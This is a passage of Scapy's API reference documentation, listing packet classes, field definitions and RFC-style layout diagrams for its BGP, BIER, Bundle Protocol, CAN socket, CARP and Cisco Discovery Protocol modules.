 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         ORIGINATOR ID                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. BGPPAOriginatorID                      


BGPPAOriginatorID fields






	originator_id

	IPField

	'0.0.0.0'















	
class scapy.contrib.bgp.BGPPathAttr(_pkt, /, *, type_flags=<Flag 128 (Optional)>, type_code=0, attr_ext_len=None, attr_len=None, attribute=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L2090-L2177]

	Bases: Packet

Provides an implementation of the path attributes.
References: RFC 4271


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   TYPE FLAGS  |   TYPE CODE   |          ATTR EXT LEN         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    ATTR LEN   |           ATTRIBUTE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. BGPPathAttr                         


BGPPathAttr fields






	type_flags

	FlagsField

	<Flag 128 (Optional)>



	type_code

	ByteEnumField

	0



	attr_ext_len

	ShortField (Cond)

	None



	attr_len

	ByteField (Cond)

	None



	attribute

	_PathAttrPacketField

	None











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L2122-L2177]

	








	
class scapy.contrib.bgp.BGPPathAttrPacketListField(name: str, default: Optional[List[BasePacket]], pkt_cls: Optional[Union[Callable[[bytes], Packet], Type[Packet]]]  # noqa: E501 = None, count_from: Optional[Callable[[Packet], int]] = None, length_from: Optional[Callable[[Packet], int]] = None, next_cls_cb: Optional[Callable[[Packet, List[BasePacket], Optional[Packet], bytes], Type[Packet]]]  # noqa: E501 = None, max_count: Optional[int] = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1089-L1123]

	Bases: PacketListField

PacketListField handling the path attributes (UPDATE message).


	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1094-L1123]

	








	
class scapy.contrib.bgp.BGPRouteRefresh(_pkt, /, *, afi=1, subtype=0, safi=1, orf_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L2588-L2605]

	Bases: BGP

Provides an implementation of the ROUTE-REFRESH message.
References: RFC 2918, RFC 7313


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              AFI              |    SUBTYPE    |      SAFI     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ORF DATA           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. BGPRouteRefresh                       


BGPRouteRefresh fields






	afi

	ShortEnumField

	1



	subtype

	ByteEnumField

	0



	safi

	ByteEnumField

	1



	orf_data

	PacketField (Cond)

	b''















	
class scapy.contrib.bgp.BGPUpdate(_pkt, /, *, withdrawn_routes_len=None, withdrawn_routes=[], path_attr_len=None, path_attr=[], nlri=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L2184-L2231]

	Bases: BGP

UPDATE messages allow peers to exchange routes.
References: RFC 4271


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      WITHDRAWN ROUTES LEN     |        WITHDRAWN ROUTES       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         PATH ATTR LEN         |           PATH ATTR           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              NLRI             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. BGPUpdate                          


BGPUpdate fields






	withdrawn_routes_len

	FieldLenField

	None



	withdrawn_routes

	BGPNLRIPacketListField

	[]



	path_attr_len

	FieldLenField

	None



	path_attr

	BGPPathAttrPacketListField

	[]



	nlri

	BGPNLRIPacketListField

	[]











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L2219-L2231]

	








	
class scapy.contrib.bgp.MPReachNLRIPacketListField(name: str, default: Optional[List[BasePacket]], pkt_cls: Optional[Union[Callable[[bytes], Packet], Type[Packet]]]  # noqa: E501 = None, count_from: Optional[Callable[[Packet], int]] = None, length_from: Optional[Callable[[Packet], int]] = None, next_cls_cb: Optional[Callable[[Packet, List[BasePacket], Optional[Packet], bytes], Type[Packet]]]  # noqa: E501 = None, max_count: Optional[int] = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1863-L1886]

	Bases: PacketListField

PacketListField handling the AFI specific part (except for the length of
Next Hop Network Address field, which is not AFI specific) of the
MP_REACH_NLRI attribute.


	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1870-L1886]

	








	
class scapy.contrib.bgp.MPUnreachNLRIPacketField(name: str, default: Optional[K], pkt_cls: Union[Callable[[bytes], Packet], Type[Packet]]  # noqa: E501)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1932-L1946]

	Bases: PacketField

PacketField handling the AFI specific part of the MP_UNREACH_NLRI
attribute.


	
m2i(pkt, m)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L1938-L1946]

	








	
scapy.contrib.bgp.detect_add_path_prefix46(s, max_bit_length)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L189-L227]

	Detect IPv4/IPv6 prefixes conform to BGP Additional Path but NOT conform
to standard BGP..

This is an adapted version of wireshark’s detect_add_path_prefix46
https://github.com/wireshark/wireshark/blob/ed9e958a2ed506220fdab320738f1f96a3c2ffbb/epan/dissectors/packet-bgp.c#L2905
Kudos to them !






	
scapy.contrib.bgp.has_extended_length(flags)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bgp.py#L180-L186]

	Used in BGPPathAttr to check if the extended-length flag is
set.








            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.bier


	
class scapy.contrib.bier.BIER(_pkt, /, *, id=5, version=0, length=2, entropy=0, OAM=0, RSV=0, DSCP=0, Proto=2, BFRID=0, BitString=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bier.py#L39-L53]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   ID  |VERSION| LENGTH|                ENTROPY                |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|OAM|RSV|    DSCP   |   PROTO   |             BFRID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           BITSTRING           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. BIER                             


BIER fields






	id

	BitField  (4 bits)

	5



	version

	BitField  (4 bits)

	0



	length

	BitFieldLenField  (4 bits)

	2



	entropy

	BitField  (20 bits)

	0



	OAM

	BitField  (2 bits)

	0



	RSV

	BitField  (2 bits)

	0



	DSCP

	BitField  (6 bits)

	0



	Proto

	BitEnumField

	2



	BFRID

	ShortField

	0



	BitString

	StrLenField

	b''











	
payload_guess

	Possible sublayers:
IP, IPv6










	
class scapy.contrib.bier.BIERLength[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bier.py#L15-L20]

	Bases: object


	
BIER_LEN_1024 = 4

	




	
BIER_LEN_128 = 1

	




	
BIER_LEN_256 = 2

	




	
BIER_LEN_512 = 3

	




	
BIER_LEN_64 = 0

	








	
class scapy.contrib.bier.BIFT(_pkt, /, *, bsl=2, sd=0, set=0, cos=0, s=1, ttl=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bier.py#L29-L36]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  BSL  |       SD      |      SET      | COS |S|      TTL      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. BIFT                             


BIFT fields






	bsl

	BitField  (4 bits)

	2



	sd

	BitField  (8 bits)

	0



	set

	BitField  (8 bits)

	0



	cos

	BitField  (3 bits)

	0



	s

	BitField  (1 bit)

	1



	ttl

	ByteField

	0











	
payload_guess

	Possible sublayers:
BIER












            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.bp


NOTICE
This software/technical data was produced for the U.S. Government
under Prime Contract No. NASA-03001 and JPL Contract No. 1295026
and is subject to FAR 52.227-14 (6/87) Rights in Data General,
and Article GP-51, Rights in Data  General, respectively.
This software is publicly released under MITRE case #12-3054

	
class scapy.contrib.bp.BP(_pkt, /, *, version=6, ProcFlags=0, BlockLen=None, DSO=0, DSSO=0, SSO=0, SSSO=0, RTSO=0, RTSSO=0, CSO=0, CSSO=0, CT=0, CTSN=0, LT=0, DL=0, FO=0, ADUL=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bp.py#L26-L100]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |           PROCFLAGS           |    BLOCKLEN   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              DSO              |      DSSO     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              SSO              |      SSSO     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              RTSO             |     RTSSO     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              CSO              |      CSSO     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |               CT              |      CTSN     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |               LT              |       DL      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |               FO              |      ADUL     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                             Fig. BP                              


BP fields






	version

	ByteField

	6



	ProcFlags

	SDNV2

	0



	BlockLen

	SDNV2LenField

	None



	DSO

	SDNV2

	0



	DSSO

	SDNV2

	0



	SSO

	SDNV2

	0



	SSSO

	SDNV2

	0



	RTSO

	SDNV2

	0



	RTSSO

	SDNV2

	0



	CSO

	SDNV2

	0



	CSSO

	SDNV2

	0



	CT

	SDNV2

	0



	CTSN

	SDNV2

	0



	LT

	SDNV2

	0



	DL

	SDNV2

	0



	FO

	SDNV2 (Cond)

	0



	ADUL

	SDNV2 (Cond)

	0











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bp.py#L49-L100]

	




	
payload_guess

	Possible sublayers:
BPBLOCK










	
class scapy.contrib.bp.BPBLOCK(_pkt, /, *, Type=1, ProcFlags=0, BlockLen=None, load=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bp.py#L103-L113]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |           PROCFLAGS           |    BLOCKLEN   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |              LOAD             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. BPBLOCK                           


BPBLOCK fields






	Type

	ByteEnumField

	1



	ProcFlags

	SDNV2

	0



	BlockLen

	SDNV2FieldLenField

	None



	load

	StrLenField

	b''











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/bp.py#L112-L113]

	




	
payload_guess

	Possible sublayers:
BPBLOCK












            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.cansocket

CANSocket.




            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.cansocket_native

NativeCANSocket.


	
scapy.contrib.cansocket_native.CANSocket[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cansocket_native.py#L38-L179]

	alias of NativeCANSocket






	
class scapy.contrib.cansocket_native.NativeCANSocket(channel: str | None = None, receive_own_messages: bool = False, can_filters: ~typing.List[~typing.Dict[str, int]] | None = None, fd: bool = False, basecls: ~typing.Type[~scapy.packet.Packet] = <class 'scapy.layers.can.CAN'>, **kwargs: ~typing.Dict[str, ~typing.Any])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cansocket_native.py#L38-L179]

	Bases: SuperSocket

Initializes a Linux PF_CAN socket object.

Example

>>> socket = NativeCANSocket(channel="vcan0", can_filters=[{'can_id': 0x200, 'can_mask': 0x7FF}])






	Parameters:

	
	channel – Network interface name


	receive_own_messages – Messages, sent by this socket are will
also be received.


	can_filters – A list of can filter dictionaries.


	basecls – Packet type in which received data gets interpreted.


	kwargs – Various keyword arguments for compatibility with
PythonCANSockets









	
desc = 'read/write packets at a given CAN interface using PF_CAN sockets'

	




	
recv_raw(x: int = 16) → Tuple[Type[Packet] | None, bytes | None, float | None][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cansocket_native.py#L131-L157]

	Returns a tuple containing (cls, pkt_data, time)






	
send(x: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cansocket_native.py#L159-L179]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.cansocket_python_can

Python-CAN CANSocket Wrapper.


	
scapy.contrib.cansocket_python_can.CANSocket[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cansocket_python_can.py#L260-L345]

	alias of PythonCANSocket






	
class scapy.contrib.cansocket_python_can.PythonCANSocket(**kwargs: Dict[str, Any])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cansocket_python_can.py#L260-L345]

	Bases: SuperSocket

Initializes a python-can bus object as Scapy PythonCANSocket.

All provided keyword arguments, except basecls are forwarded to
the python-can can_Bus init function. For further details on python-can
check: https://python-can.readthedocs.io/

Example

>>> socket = PythonCANSocket(bustype='socketcan', channel='vcan0', bitrate=250000)






	
close() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cansocket_python_can.py#L339-L345]

	Closes this socket






	
desc = 'read/write packets at a given CAN interface using a python-can bus object'

	




	
nonblocking_socket: bool = True

	




	
recv_raw(x: int = 65535) → Tuple[Type[Packet] | None, bytes | None, float | None][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cansocket_python_can.py#L279-L293]

	Returns a tuple containing (cls, pkt_data, time)






	
static select(sockets: List[SuperSocket], remain: float | None = 0.05) → List[SuperSocket][source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cansocket_python_can.py#L315-L337]

	This function is called during sendrecv() routine to select
the available sockets.


	Parameters:

	sockets – an array of sockets that need to be selected



	Returns:

	an array of sockets that were selected and
the function to be called next to get the packets (i.g. recv)










	
send(x: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cansocket_python_can.py#L295-L313]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.carp


	
class scapy.contrib.carp.CARP(_pkt, /, *, version=4, type=4, vhid=1, advskew=0, authlen=0, demotion=0, advbase=0, chksum=None, counter1=0, counter2=0, hmac1=0, hmac2=0, hmac3=0, hmac4=0, hmac5=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/carp.py#L20-L63]

	Bases: Packet


	
aliastypes

	




	
build_hmac_sha1(pw=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', ip4l=[], ip6l=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/carp.py#L45-L63]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|VERSION|  TYPE |      VHID     |    ADVSKEW    |    AUTHLEN    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    DEMOTION   |    ADVBASE    |             CHKSUM            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            COUNTER1                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            COUNTER2                           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             HMAC1                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             HMAC2                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             HMAC3                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             HMAC4                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             HMAC5                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. CARP                             


CARP fields






	version

	BitField  (4 bits)

	4



	type

	BitField  (4 bits)

	4



	vhid

	ByteField

	1



	advskew

	ByteField

	0



	authlen

	ByteField

	0



	demotion

	ByteField

	0



	advbase

	ByteField

	0



	chksum

	XShortField

	None



	counter1

	XIntField

	0



	counter2

	XIntField

	0



	hmac1

	XIntField

	0



	hmac2

	XIntField

	0



	hmac3

	XIntField

	0



	hmac4

	XIntField

	0



	hmac5

	XIntField

	0











	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/carp.py#L39-L43]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.cdp

Cisco Discovery Protocol (CDP) extension for Scapy


	
class scapy.contrib.cdp.CDPAddrRecord(_pkt, /, *, ptype=1, plen=None, proto=None, addrlen=None, addr=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L139-L150]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     PTYPE     |      PLEN     |             PROTO             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ADDRLEN            |              ADDR             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. CDPAddrRecord                        


CDPAddrRecord fields






	ptype

	ByteEnumField

	1



	plen

	FieldLenField

	None



	proto

	StrLenField

	None



	addrlen

	FieldLenField

	None



	addr

	StrLenField

	None











	
guess_payload_class(p)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L149-L150]

	








	
class scapy.contrib.cdp.CDPAddrRecordIPv4(_pkt, /, *, ptype=1, plen=1, proto=b'\xcc', addrlen=4, addr='0.0.0.0')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L153-L160]

	Bases: CDPAddrRecord


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     PTYPE     |      PLEN     |             PROTO             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ADDRLEN            |              ADDR             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. CDPAddrRecordIPv4                      


CDPAddrRecordIPv4 fields






	ptype

	ByteEnumField

	1



	plen

	FieldLenField

	1



	proto

	StrLenField

	b'\xcc'



	addrlen

	ShortField

	4



	addr

	IPField

	'0.0.0.0'















	
class scapy.contrib.cdp.CDPAddrRecordIPv6(_pkt, /, *, ptype=2, plen=8, proto=b'\xaa\xaa\x03\x00\x00\x00\x86\xdd', addrlen=16, addr='::1')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L163-L170]

	Bases: CDPAddrRecord


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     PTYPE     |      PLEN     |             PROTO             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ADDRLEN            |              ADDR             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. CDPAddrRecordIPv6                      


CDPAddrRecordIPv6 fields






	ptype

	ByteEnumField

	2



	plen

	FieldLenField

	8



	proto

	StrLenField

	b'\xaa\xaa\x03\x00\x00\x00\x86\xdd'



	addrlen

	ShortField

	16



	addr

	IP6Field

	'::1'















	
class scapy.contrib.cdp.CDPMsg(_pkt, /, *, type=None, len=None, val=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L380-L386]

	Bases: CDPMsgGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              VAL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. CDPMsg                            


CDPMsg fields






	type

	XShortEnumField

	None



	len

	FieldLenField

	None



	val

	StrLenField

	b''















	
class scapy.contrib.cdp.CDPMsgAddr(_pkt, /, *, type=2, len=None, naddr=None, addr=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L191-L203]

	Bases: CDPMsgGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             NADDR                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ADDR             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. CDPMsgAddr                          


CDPMsgAddr fields






	type

	XShortEnumField

	2



	len

	ShortField

	None



	naddr

	FieldLenField

	None



	addr

	PacketListField

	[]











	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L199-L203]

	








	
class scapy.contrib.cdp.CDPMsgCapabilities(_pkt, /, *, type=4, len=8, cap=<Flag 0 ()>)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L223-L227]

	Bases: CDPMsgGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              CAP                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. CDPMsgCapabilities                      


CDPMsgCapabilities fields






	type

	XShortEnumField

	4



	len

	ShortField

	8



	cap

	FlagsField

	<Flag 0 ()>















	
class scapy.contrib.cdp.CDPMsgDeviceID(_pkt, /, *, type=1, len=None, val=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L129-L131]

	Bases: CDPMsgGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              VAL              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. CDPMsgDeviceID                        


CDPMsgDeviceID fields






	type

	XShortEnumField

	1



	len

	FieldLenField

	None



	val

	StrLenField

	b''















	
class scapy.contrib.cdp.CDPMsgDuplex(_pkt, /, *, type=11, len=5, duplex=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/cdp.py#L286-L290]

	Bases: CDPMsgGeneric


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
